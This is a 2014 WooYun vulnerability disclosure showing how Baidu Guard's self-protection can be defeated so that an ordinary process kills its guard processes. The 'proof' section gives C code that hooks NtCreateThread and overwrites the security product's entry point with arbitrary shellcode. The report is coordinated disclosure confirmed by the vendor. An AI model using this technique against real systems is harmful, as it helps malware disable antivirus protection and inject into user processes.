当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-078980
漏洞标题：
百度卫士全防御失效漏洞
相关厂商：
百度
漏洞作者：
alvin
提交时间：
2014-10-11 14:52
修复时间：
2015-01-09 14:54
公开时间：
2015-01-09 14:54
漏洞类型：
拒绝服务
危害等级：
高
自评Rank：
20
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-10-11： 细节已通知厂商并且等待厂商处理中
2014-10-13： 厂商已经确认，细节仅向厂商公开
2014-10-16： 细节向第三方安全合作伙伴开放
2014-12-07： 细节向核心白帽子及相关领域专家公开
2014-12-17： 细节向普通白帽子公开
2014-12-27： 细节向实习白帽子公开
2015-01-09： 细节向公众公开

简要描述：

开启百度卫士全防御环境下，普通用户态程序即可杀掉百度卫士所有守护进程。

详细说明：

1.触发exp：

1.png


2.exp运行后：

2.png


3.恶意程序轻易注入explorer：

3.png

漏洞证明：

LONG WINAPI NewCreateThread(PVOID p1, PVOID p2, PVOID p3, PVOID p4, PVOID p5, PVOID p6,PVOID p7,PVOID p8)
{
	// 修改EXE镜像入口点
	VirtualProtectEx(p4, (LPVOID)0x4027EF, 0x400, PAGE_EXECUTE_READWRITE, &oldProtect);
	// shellcode可以是任意代码，结束守护进程、装驱动、注入......
	WriteProcessMemory(p4, (LPVOID)0x4027EF, shellCode, sizeof(shellCode), &dwWrite);
	return lRes = (fnCreateThread)(p1, p2, p3, p4, p5, p6,p7,p8);
}
LPCTSTR lpszProcess = _T("C:\\Program Files\\Baidu\\BaiduAn\\4.0.0.4830\\BaiduAn.exe");
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
si.cb = sizeof(STARTUPINFO);
DetourProc((PVOID)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtCreateThread"), (PVOID)NewCreateThread, (PVOID*)(&fnCreateThread));
CreateProcess(lpszProcess, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

修复方案：

加强自保护的防御覆盖度

版权声明：转载请注明来源 alvin@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-10-13 19:40

厂商回复：

感谢提交，我们已经通知业务部门处理此问题。

最新状态：

暂无